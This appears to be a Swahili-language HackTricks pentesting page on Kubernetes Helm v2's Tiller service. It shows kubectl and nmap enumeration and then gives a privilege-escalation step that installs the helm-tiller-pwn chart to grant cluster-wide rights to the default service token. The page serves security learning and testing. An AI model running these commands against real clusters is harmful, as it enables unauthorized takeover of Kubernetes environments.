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58 lines
3.1 KiB
Markdown
58 lines
3.1 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
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# Taarifa za Msingi
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Helm ni **meneja wa pakiti** kwa Kubernetes. Inaruhusu kufunga faili za YAML na kuzigawa katika hifadhi za umma na za kibinafsi. Pakiti hizi zinaitwa **Helm Charts**. **Tiller** ni **huduma** **inayoendesha** kwa default katika bandari 44134 ikitoa huduma hiyo.
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**Bandari ya default:** 44134
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```
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PORT STATE SERVICE VERSION
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44134/tcp open unknown
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```
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# Enumeration
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Ikiwa unaweza **kuorodhesha pods na/au huduma** za majimbo tofauti, orodhesha hizo na tafuta zile zenye **"tiller" katika jina lao**:
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```bash
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kubectl get pods | grep -i "tiller"
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kubectl get services | grep -i "tiller"
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kubectl get pods -n kube-system | grep -i "tiller"
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kubectl get services -n kube-system | grep -i "tiller"
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kubectl get pods -n <namespace> | grep -i "tiller"
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kubectl get services -n <namespace> | grep -i "tiller"
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```
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Mifano:
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```bash
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kubectl get pods -n kube-system
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NAME READY STATUS RESTARTS AGE
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kube-scheduler-controlplane 1/1 Running 0 35m
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tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
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kubectl get services -n kube-system
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NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
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kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
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tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
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```
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Unaweza pia kujaribu kupata huduma hii ikifanya kazi ukikagua bandari 44134:
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```bash
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sudo nmap -sS -p 44134 <IP>
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```
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Mara tu umepata, unaweza kuwasiliana nayo kwa kupakua programu ya mteja helm. Unaweza kutumia zana kama `homebrew`, au angalia [**ukurasa rasmi wa toleo**](https://github.com/helm/helm/releases)**.** Kwa maelezo zaidi, au kwa chaguzi nyingine, angalia [mwongozo wa usakinishaji](https://v2.helm.sh/docs/using_helm/#installing-helm).
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Kisha, unaweza **kuorodhesha huduma**:
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```
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helm --host tiller-deploy.kube-system:44134 version
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```
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## Kuinua Haki
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Kwa default **Helm2** ilifungwa katika **namespace kube-system** ikiwa na **mamlaka ya juu**, hivyo ikiwa utapata huduma hiyo na una ufikiaji wake, hii inaweza kukuruhusu **kuinua mamlaka**.
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Unachohitaji kufanya ni kufunga kifurushi kama hiki: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) ambacho kitatoa **ufikiaji wa token ya huduma ya default kwa kila kitu katika klasta nzima.**
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```
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git clone https://github.com/Ruil1n/helm-tiller-pwn
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helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
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/pwnchart
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```
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Katika [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) una **maelezo ya shambulio**, lakini kimsingi, ukisoma faili [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) na [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) ndani ya _helm-tiller-pwn/pwnchart/templates/_ unaweza kuona jinsi **haki zote zinavyotolewa kwa token ya default**.
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{{#include ../banners/hacktricks-training.md}}
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